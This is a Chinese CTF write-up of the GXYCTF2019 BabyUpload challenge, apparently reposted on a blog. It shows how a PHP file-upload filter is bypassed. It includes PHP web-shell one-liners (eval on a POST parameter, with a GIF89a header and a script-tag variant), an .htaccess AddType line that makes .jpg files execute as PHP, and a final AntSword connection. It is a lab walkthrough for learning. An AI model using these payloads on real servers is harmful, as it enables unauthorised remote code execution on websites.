当前位置: 首页 > article >正文

[GXYCTF2019]BabyUpload

思路:先测试是否对文件名后缀检测
1,上传一个php文件
在这里插入图片描述
上传内容:

GIF89a
<?php @eval($_POST["cmd"]);?>

失败:
在这里插入图片描述
2,尝试上传其它类型的文件
构造%00截断的.jpg结尾尝试上传:
在这里插入图片描述再次被拦截:
在这里插入图片描述
分析:验证了对文件名后缀检测,同时可能存在对内容检测
3,怀疑对php标签内容检测,如?,<>,;,以及php,那就试一试没有<?的一句话:

GIF89a<script language="php">eval($_POST[cmd])</script>

上传:
在这里插入图片描述上传成功,显示存储路径:
在这里插入图片描述
分析:文件上传成功了,但是jpg文件无法被当成php解析。
思路:考虑.htaccess和.user.ini配置文件控制,实现解析漏洞。

4,上传构造的.htaccess文件
内容如下(功能是将.jpeg文件解析为php文件):

AddType application/x-httpd-php .jpg

注意:这里的.htaccess就是文件名,绕过更改文件类似在burp中更改绕过,不要写成.htaccess.jpg文件名,它不会被识别未配置文件。
修改上传改类型为image/jpeg(jpg成功,所以改成了jpeg尝试):
在这里插入图片描述
上传成功:
在这里插入图片描述

5,antsword连接

网页显示路径:
/var/www/html/upload/bd163e8f7286bc3ba85cd339a2ae9f5d/2.jpg

分析:
/var/www/html/是网页目录路径

/upload/bd163e8f7286bc3ba85cd339a2ae9f5d/2.jpg是我们要访问的路径

所以最终访问的路径:

ip/upload/bd163e8f7286bc3ba85cd339a2ae9f5d/2.jpg

在这里插入图片描述

思路:
文件上传考虑->
文件名后缀检测(前端、还是后端检验);
文件内容检测(各种关键字特殊字符);
->两者都做了检测,尝试绕过->上传成功无法被解析->考虑解析漏洞,上传配置文件->解析成功


http://www.kler.cn/a/7377.html

相关文章:

  • Cartographer激光雷达slam -20241116
  • Vue3 模板语法
  • mybatis的动态sql用法之排序
  • Flowable 构建后端服务(后端以及数据库搭建) Flowable Modeler 设计器搭建(前端)
  • Spring 中的 BeanDefinitionParserDelegate 和 NamespaceHandler
  • LLM - 计算 多模态大语言模型 的参数量(Qwen2-VL、Llama-3.1) 教程
  • 摸鱼也可以效率翻倍:Python 统计 gitlab 代码量,定量统计发给领导
  • Python3 os.isatty() 方法、Python3 os.dup2() 方法
  • Hadoop基础介绍
  • JetpackCompose从入门到实战学习笔记13——Compose中实现简单瀑布流
  • 基于html+css的内容旋转
  • Solon v2.2.7 发布,支持 Java 20
  • MLSkin 5.3 for delphi Crack
  • 约瑟夫问题
  • 【redis】redis分布式锁
  • 镜头光学指标介绍----清晰度SFR
  • 【从零开始学习 UVM】10.2、UVM TLM —— UVM TLM Blocking Put Port
  • 【CSAPP】进程 | 上下文切换 | 用户视角下的并发进程
  • 流量整形(GTS和LR)
  • 蓝桥杯之单片机学习(终)——关于之前文章的错误及更正(附:第十四届蓝桥杯单片机赛题)
  • L2-040 哲哲打游戏 简单模拟
  • 免费CRM如何进行选择?
  • 用GPT-4写代码不用翻墙了?Cursor告诉你:可以~~
  • 【视频分割】【深度学习】MiVOS官方Pytorch代码-S2M模块DeepLavV3Plus网络解析
  • 【Vue框架】Vue绑定样式及案例之行内样式——对象绑定样式与数组控制样式(附带源码案例)
  • 前端基础-ES6